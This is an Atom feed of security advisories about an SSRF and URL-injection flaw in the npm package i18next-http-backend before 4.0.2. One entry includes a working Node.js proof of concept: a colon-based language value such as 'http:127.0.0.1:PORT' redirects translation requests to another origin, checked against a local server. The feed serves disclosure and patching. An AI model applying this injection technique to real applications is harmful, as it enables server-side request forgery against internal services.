<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-08T23:53:07.510338+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-105800</id>
    <title>fkie_cve-2026-105800</title>
    <updated>2026-10-08T23:53:07.572735+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL's structural beginning. This issue is fixed in version 4.0.2.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-105800"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-xvq9-wjp8-hwqf</id>
    <title>GHSA-xvq9-wjp8-hwqf — i18next-http-backend incomplete URL validation permits SSRF</title>
    <updated>2026-10-08T23:53:07.572882+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: i18next-http-backend</p>
<p>There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.</p>
<p>This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.</p>
<p>## Proof of Concept</p>
<p>```js
// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require("node:http");
const Backend = require("i18next-http-backend");</p>
<p>function read(backend, lng, ns) {
  return new Promise((resolve) =&gt; {
    backend.read(lng, ns, (err) =&gt; resolve(err));
  });
}</p>
<p>async function main() {
  let gotRequest = false;
  const server = http.createServer((req, res) =&gt; {
    gotRequest = req.url === "/common.json";
    res.writeHead(200, { "content-type": "application/json" });
    res.end("{}");
  });</p>
<p>await new Promise((resolve) =&gt; server.listen(0, "127.0.0.1", resolve));
  const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" });
  const lng = `http:127.0.0.1:${server.address().port}`;</p>
<p>const err = await read(backend, lng, "common");
  server.close();</p>
<p>const vulnerable = gotRequest &amp;&amp; !err;
  console.log(vulnerable ? "VULNERABLE" : "SAFE");
  if (!vulnerable) process.exitCode = 1;
}</p>
<p>main();
```</p>
<p>Run:</p>
<p>```bash
npm install --ignore-scripts
node poc.js
```</p>
<p>The expected result is:</p>
<p>```text
VULNERABLE
```</p>
<p>## Why the Previous Patch Was Incomplete</p>
<p>This vulnerability is caused by an incomplete pat…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-xvq9-wjp8-hwqf"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ubuntu-cve-2026-105800</id>
    <title>UBUNTU-CVE-2026-105800</title>
    <updated>2026-10-08T23:53:07.573027+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Ubuntu:22.04:LTS: node-i18next-http-backend, Ubuntu:24.04:LTS: node-i18next-http-backend, Ubuntu:26.04:LTS: node-i18next-http-backend</p>
<p>(i18next-http-backend is a backend layer for i18next that loads transla ...)</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ubuntu-cve-2026-105800"/>
  </entry>
</feed>
